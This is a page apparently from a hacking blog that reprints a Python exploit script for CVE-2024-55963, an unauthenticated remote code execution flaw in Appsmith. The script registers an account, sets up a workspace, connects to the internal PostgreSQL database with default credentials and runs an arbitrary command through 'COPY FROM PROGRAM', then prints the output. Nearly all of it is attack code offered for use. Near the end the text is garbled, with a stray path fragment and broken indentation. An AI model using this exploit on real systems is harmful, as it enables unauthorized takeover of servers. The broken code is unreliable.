Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104675

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.

import requests
import json
import pyfiglet
import argparse

# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE")  # Replace with your desired title
print(banner)

# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()

# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command

if not base_url.startswith("http://") and not base_url.startswith("https://"):
    base_url = "http://" + base_url

# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
    "email": "poc1@poc.com",
    "password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()

# Login request
login_url = f"{base_url}/api/v1/login"  # Adjust the URL as needed
login_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/user/login",
    "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}

login_data = {
    "username": "poc1@poc.com",  # Adjusted to match the provided request
    "password": "Testing123!"
}

# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()

# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
    # Split the Set-Cookie header to get the cookie name and value
    cookie_name, cookie_value = set_cookie.split(';')[0].split('=')

# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
    fourth_request_url = f"{base_url}/api/v1/workspaces"
    fourth_request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Requested-By": "Appsmith",
        "Connection": "keep-alive",
        "Referer": f"{base_url}/applications",
        "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
    }
    
    fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
    fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
    fourth_response.raise_for_status()

    # Extract the 'id' from the response if it exists
    try:
        response_json = fourth_response.json()
        workspace_id = response_json.get("data", {}).get("id")
    except ValueError:
        print("Response content is not valid JSON:", fourth_response.text)  # Print the raw response for debugging

    if workspace_id:
        fifth_request_url = f"{base_url}/api/v1/applications"
        fifth_request_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
            "X-Requested-By": "Appsmith",
            "Content-Length": "161",
            "Origin": base_url,
            "Connection": "keep-alive",
            "Referer": f"{base_url}/applications?workspaceId={workspace_id}",
            "Cookie": f"{cookie_name}={cookie_value}",
        }
        
        fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})

        print('Creating a new application...')
        fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
        fifth_response.raise_for_status()

        try:
            response_json = fifth_response.json()
            application_id = response_json.get("data", {}).get("id")
        except ValueError:
            print("Response content is not valid JSON:", fifth_response.text)

        # Sixth request to get workspace details
        if workspace_id:
            sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
            sixth_request_headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                "Accept": "application/json, text/plain, */*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                "Connection": "keep-alive",
                "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                "Cookie": f"{cookie_name}={cookie_value}",
            }
            
            print('Getting workspace details...')
            sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
            sixth_response.raise_for_status()
            
            # Extract all plugin IDs from the response
            try:
                response_json = sixth_response.json()
                plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]

                # Loop through each plugin ID for the seventh request
                print(f'Searching for vulnerable postgres database...')
                for plugin_id in plugin_ids:
                    # Seventh request to get the form data for the plugin
                    seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
                    seventh_request_headers = {
                        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                        "Accept": "application/json, text/plain, */*",
                        "Accept-Language": "en-US,en;q=0.5",
                        "Accept-Encoding": "gzip, deflate",
                        "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                        "Connection": "keep-alive",
                        "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
                        "Cookie": f"{cookie_name}={cookie_value}",
                    }
                    
                    try:
                        seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
                        seventh_response.raise_for_status()
                        
                        # Extracting the port value from the seventh response
                        try:
                            seventh_response_json = seventh_response.json()
                            if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
                                form_data = seventh_response_json['data']['form']
                                if any("postgres" in str(item) for item in form_data):
                                    print(f"Vulnerable postgres database found.")
                                    break
                            else:
                                pass
                        except (ValueError, IndexError) as e:
                            pass
                    except requests.exceptions.HTTPError as e:
                        print(f"Error checking plugin {plugin_id}: {e}")
                        continue

                # Proceed to request 8 after finding "postgres"
                # Proceed to request 8 after finding "postgres"
                if "postgres" in str(seventh_response_json):
                    try:
                        # Try the environments API endpoint
                        eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
                        eighth_request_headers = {
                            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                            "Accept": "application/json, text/plain, */*",
                            "Accept-Language": "en-US,en;q=0.5",
                            "Accept-Encoding": "gzip, deflate",
                            "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                            "Connection": "keep-alive",
                            "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                            "Cookie": f"{cookie_name}={cookie_value}",
                        }
                        
                        print('Getting the workspace details...')
                        eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
                        eighth_response.raise_for_status()
                        
                        # Extracting the workspace ID from the eighth response
                        try:
                            eighth_response_json = eighth_response.json()
                            workspace_data = eighth_response_json.get("data", [{}])[0]
                            workspace_id_value = workspace_data.get("id")
                        except (ValueError, IndexError):
                            print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
                    except requests.exceptions.HTTPError as e:
                        # If the environments API fails, use the workspace ID we already have
                        print(f"Could not fetch environment details: {e}")
                        print("Using existing workspace ID for datasource creation...")
                        workspace_id_value = workspace_id
            except (ValueError, IndexError):
                print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)

            # After the eighth request to get workspace details
            if workspace_id_value:
                ninth_request_url = f"{base_url}/api/v1/datasources"
                ninth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                ninth_request_data = {
                    "pluginId": plugin_id,
                    "datasourceStorages": {
                        workspace_id_value: {
                            "datasourceConfiguration": {
                                "properties": [None, {"key": "Connection method", "value": "STANDARD"}],
                                "connection": {
                                    "mode": "READ_WRITE",
                                    "ssl": {"authType": "DEFAULT"}
                                },
                                "endpoints": [{"port": "5432", "host": "localhost"}],
                                "sshProxy": {"endpoints": [{"port": "22"}]},
                                "authentication": {
                                    "databaseName": "postgres",
                                    "username": "postgres",
                                    "password": "postgres"
                                }
                            },
                            "datasourceId": "",
                            "environmentId": workspace_id_value,
                            "isConfigured": True
                        }
                    },
                    "name": "Untitled datasource 1",
                    "workspaceId": workspace_id
                }

                print('Connecting to vulnerable postgres database...')
                ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
                ninth_response.raise_for_status()

                # Extracting the ID from the response
                try:
                    ninth_response_json = ninth_response.json()
                    datasource_id = ninth_response_json.get("data", {}).get("id")
                except (ValueError, KeyError):
                    print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)

            # After the ninth request to create the datasource
            if datasource_id:
                # 10th Request
                tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                tenth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                tenth_request_data = {
                    "title": "SELECT",
                    "body": "create table poc (column1 TEXT);",
                    "suggested": True
                }

                print("Creating the table 'poc'...")
                tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
                tenth_response.raise_for_status()

                # 11th Request
                eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                eleventh_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                eleventh_request_data = {
                    "title": "SELECT",
                    "body": f"copy poc from program '{command_arg}';",
                    "suggested": True
                }/CVE-2024-55963-Appsmith-RCE

                print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()

# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
twelfth_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for the 12th schema preview
twelfth_request_data = {
    "title": "SELECT",
    "body": "select * from poc;",
    "suggested": True
}

# Print statement before the 12th request
print("Reading command output from poc table...\n")

# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)

# Extracting and printing the response from the 12th schema preview
try:
    twelfth_response_json = twelfth_response.json()
    
    # Extracting the specific data
    body_data = twelfth_response_json.get("data", {}).get("body", [])
    column1_values = [item.get("column1") for item in body_data]  # Extract only the column1 values
    print("Command output:")
    print("----------------------------------------")
    for value in column1_values:
        print(value)  # Print each column1 value
    print("----------------------------------------\n")

except (ValueError, KeyError):
    print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text)  # Print the raw response for debugging

# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
cleanup_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for cleanup
cleanup_request_data = {
    "title": "SELECT",
    "body": "DROP TABLE poc;",  # Command to drop the table
    "suggested": True
}

# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)